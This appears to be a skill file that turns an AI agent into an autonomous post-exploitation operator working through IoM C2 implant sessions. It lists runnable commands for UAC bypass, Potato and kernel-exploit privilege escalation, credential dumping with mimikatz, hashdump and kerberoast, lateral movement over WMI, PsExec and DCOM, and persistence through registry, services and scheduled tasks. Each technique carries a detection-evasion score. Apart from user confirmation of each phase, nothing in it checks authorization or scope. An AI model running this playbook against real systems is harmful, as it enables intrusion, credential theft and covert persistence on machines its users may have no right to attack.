Iom pentest en

IoM Automated Penetration Test

Autonomous penetration testing via IoM MCP tools. Core principle: OODA Loop — Observe, Orient, Decide, Act — adapting to the target environment at every phase.

Arguments

$ARGUMENTS accepts any combination of phase keywords and session IDs (space-separated):

Phase Keywords

Keyword	Phase	Confirmation Required	Description
summary	Global overview	No	Bird's-eye view of all sessions
recon	Phase 1: Situational Awareness	No (read-only)	Detailed recon per session
privesc	Phase 2: Privilege Escalation	Yes	Privilege escalation
creds	Phase 3: Credential Harvesting	Yes	Credential harvesting
lateral	Phase 4: Lateral Movement	Yes	Lateral movement
persist	Phase 5: Persistence	Yes	Establish persistence

<!-- | `cleanup` | Cleanup artifacts | **Yes** | Revert persistence, delete temp files, rev2self (not yet implemented) | -->

Session Targeting

Values that are not keywords are treated as session ID prefixes:

Usage	Meaning
No session specified	Operate on all alive sessions
4d24a3	Only this session
4d24a3 bd608a	These two sessions

Usage Examples

/iom-pentest-en summary                          # Global overview
/iom-pentest-en recon                            # Recon all alive sessions
/iom-pentest-en recon 4d24a3 bd608a              # Recon specific sessions
/iom-pentest-en recon privesc bd608a             # Recon + privesc on specific session
/iom-pentest-en creds 7a0c97                     # Harvest creds from admin session
/iom-pentest-en privesc creds lateral            # Multi-phase combo (all sessions)
/iom-pentest-en                                  # Default = summary

Confirmation Mechanism

Critical rule: summary and recon execute directly; all other phases must present a plan and wait for user approval.

summary / recon (no confirmation)

Execute directly, output analysis report.

privesc / creds / lateral / persist (requires confirmation)

Workflow:

1. Complete recon first (if not already done)
2. Analyze environment, list available attack paths and recommendations
3. Present execution plan, ask user to confirm
4. Execute after user confirms
5. Verify result, report success/failure
6. On failure, ask again whether to try the next option

Core Principles

1. Analyze before acting — never execute blindly; adapt strategy based on findings
2. OPSEC first — identify defenses before running anything noisy. See reference/opsec-guide.md
3. Pivot on failure — if a technique gets blocked, mark it and try another path; never retry the same technique
4. Minimum footprint — prefer BOF over execute_assembly, prefer in-memory over on-disk
5. Never act without approval — all phases except summary/recon require user confirmation
6. OPSEC score rules — every technique has an OPSEC safety score (1-10, higher = safer):
   • ≥ 8: Safe, proceed normally
   • 6-8: Medium risk, flag the risk level in the execution plan
   • < 6: High risk, must explicitly warn the user, explain the risk and suggest safer alternatives; only execute after explicit approval

OPSEC Score Reference

Score Range	Risk	Typical Commands	Handling
9.0+	Minimal	enum/recon, hashdump, klist	Execute normally
8.0-8.9	Low	BOF UAC bypass, bof-execute_assembly, Potato privesc	Execute normally
7.0-7.9	Medium	Kernel exploits (ms14/15/16), mimikatz, wmi/dcom lateral, PS UAC bypass	Flag risk
< 7.0	High	logonpasswords (5.9)	Must warn + wait for approval

MCP Tool Usage

All operations go through mcp__iom__execute_command:

• Switch session: use <session_id_prefix> — enter implant context
• Implant commands: after switching, run sysinfo, whoami, ps, etc.
• Client commands: session, listener, pipeline list, etc. — no session context needed
• Task results: execute_command automatically waits and returns results

Refer to MCP tool help for command usage. Key notes:

• BOF-based UAC bypass (elevatedcom/sspi/colordataproxy/registryshell) uses positional arguments
• Flag-based UAC bypass (silentcleanup/editionupgrade) uses --command flag
• See reference/technique-reference.md

Phase Overview

Summary: Global Situational Overview                  [summary]  Auto-execute
    ↓ Understand the landscape, choose targets
Phase 1: Situational Awareness                        [recon]    Auto-execute
    ↓ Checkpoint: Who am I? What can I do? What defenses?
Phase 2: Privilege Escalation                         [privesc]  Needs confirmation
    ↓ Checkpoint: Did we get elevated access?
Phase 3: Credential Harvesting                        [creds]    Needs confirmation
    ↓ Checkpoint: What credentials? Where to use them?
Phase 4: Lateral Movement                             [lateral]  Needs confirmation
    ↓ Checkpoint: New foothold? Repeat Phase 1
Phase 5: Persistence                                  [persist]  Needs confirmation
    ↓ Checkpoint: Will we survive a reboot?

---

Summary: Global Situational Overview [summary]

No confirmation needed. No session targeting required. Bird's-eye view of the engagement.

Execute:

session              # alive sessions
session --all        # all sessions (including offline)
listener             # listener status
pipeline list        # pipeline status

Output requirements (structured tables):

1. Infrastructure status

List listener/pipeline health.

2. Host inventory (grouped by host)

Group sessions from the same host:

| Host | IP | Sessions | Highest Priv | AV | Status |
|------|-----|----------|-------------|-----|--------|

3. Session details

| ID | Host | User | Privilege | Process/PID | Heartbeat | Status |
|----|------|------|-----------|------------|-----------|--------|

Markers: ★ = admin, ⚠ = stale heartbeat, dim = redundant low-priv session on same host.

4. Network topology analysis

Analyze subnet relationships, potential host/VM relationships based on IPs.

5. Recommended next steps

Based on current situation: which sessions need privesc, which hosts are high-value, which sessions are redundant, recommended attack path.

---

Phase 1: Situational Awareness [recon]

No confirmation needed. Supports batch sessions.

Single session

use <session_id>
sysinfo
whoami
privs
shell whoami /groups
ps
enum av
ipconfig
systeminfo
enum software
netstat

Batch sessions

Execute the above for each target session, then output a comparison report:

## Batch Recon Report (N sessions)

### Comparison Matrix
| Dimension | session1 (host1) | session2 (host2) | ... |
|-----------|------------------|------------------|-----|
| Privilege | High ★ | Medium | ... |
| Admin grp | ✅ | ✅ | ... |
| AV | Huorong | Defender | ... |
| Domain | WORKGROUP | CONTOSO | ... |
| Subnet | 192.168.86.0/24 | 10.0.0.0/24 | ... |

### Per-Session Recommendations
- session1: already admin → skip to creds
- session2: Medium + Admin group → privesc viable, watch out for Defender
- session3: same host low-priv → can ignore (session1 is sufficient)

---

Phase 2: Privilege Escalation [privesc]

Requires confirmation. Only meaningful for non-admin sessions.

For multiple sessions: analyze each separately, present per-session plans. Skip sessions already admin.

Full reference: reference/technique-reference.md.

2.1 UAC Bypass (Administrators group + Medium integrity, OPSEC 8.0-8.5)

uac-bypass elevatedcom "C:\path\to\implant.exe"
uac-bypass sspi "C:\path\to\implant.exe"
uac-bypass silentcleanup --command "C:\path\to\implant.exe"

2.2 Token/Potato (SeImpersonatePrivilege, OPSEC 8.0)

elevate SweetPotato
elevate EfsPotato

2.3 Kernel Exploits (outdated patches, OPSEC 7.0)

OS Version	Exploit
Win10 1903/1909	elevate cve-2020-0796
Win7/8.1/2008R2/2012	elevate ms15-051, elevate ms14-058

After execution: session to check for new ★ sessions. On failure, ask user to try next option.

---

Phase 3: Credential Harvesting [creds]

Requires confirmation. Prefer highest-privilege session.

For multiple sessions: prioritize admin sessions. Non-admin can only run credman/autologon.

hashdump                                          # OPSEC 9.0
logonpasswords                                    # OPSEC 5.9 ⚠️
credman                                           # OPSEC 9.0
autologon                                         # OPSEC 9.0
mimikatz privilege::debug sekurlsa::logonpasswords # OPSEC 7.0

Domain environment:

ldapsearch --query "(&(objectClass=user)(adminCount=1))"
domain kerberoast
klist

---

Phase 4: Lateral Movement [lateral]

Requires confirmation.

4.1 Network Discovery (auto-execute)

pingscan --target <local_subnet>/24
portscan --target <live_hosts> --ports 445,3389,5985,22,80,443

4.2 Present lateral movement plan with OPSEC scores

move wmi-proccreate --target <ip> --command "C:\payload.exe"   # OPSEC 7.0
move psexec --host <ip> --service MySvc --path /local/file     # OPSEC 9.0
move dcom --target <ip> --cmd "C:\payload.exe"                 # OPSEC 7.5

Checkpoint: session to confirm new session, then return to Phase 1 for new target.

---

Phase 5: Persistence [persist]

Requires confirmation. Per-session plans for multiple targets.

Administrator:

persistence Registry_Key --artifact_name <name>
persistence Install_Service --artifact_name <name>
persistence Scheduled_Task --artifact_name <name>

Standard user:

persistence startup_folder --use_malefic_as_custom_file
persistence reg_key

Verify: check registry/service/task after installation.

---

Output Report

## Penetration Test Report
**Date**: YYYY-MM-DD HH:MM
**Scope**: $ARGUMENTS
**Phases Executed**: [list]
**Target Sessions**: [list]

### Attack Path
initial → [technique] → elevated → [credential] → lateral

### Sessions
| Session | Host | User | Privilege | Method |
|---------|------|------|-----------|--------|

### Credentials
| Type | User | Domain | Source |
|------|------|--------|--------|

### Techniques
| Phase | MITRE ID | Technique | OPSEC | Result | Notes |
|-------|----------|-----------|-------|--------|-------|

### Defensive Gaps
[What allowed the attack to succeed]

Reference Docs

Topic	Reference File
OPSEC & AV evasion	reference/opsec-guide.md
Privesc / lateral / persistence quick-ref	reference/technique-reference.md

$ARGUMENTS